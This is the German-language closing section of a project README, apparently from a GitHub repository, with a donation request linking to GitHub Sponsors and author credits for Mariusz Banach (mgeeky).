Dieses und andere Projekte sind das Ergebnis schlafloser Nächte und **viel harter Arbeit**. Wenn Ihnen gefällt, was ich tue, und Sie es zu schätzen wissen, dass ich immer etwas an die Gemeinschaft zurückgebe, [Erwägen Sie, mir einen Kaffee zu kaufen](https://github.com/sponsors/mgeeky) _(oder besser ein Bier)_ um einfach Danke zu sagen! 💪 

---

## Autor```   
   Mariusz Banach / mgeeky, '20-'22
   <mb [at] binary-offensive.com>
   (https://github.com/mgeeky)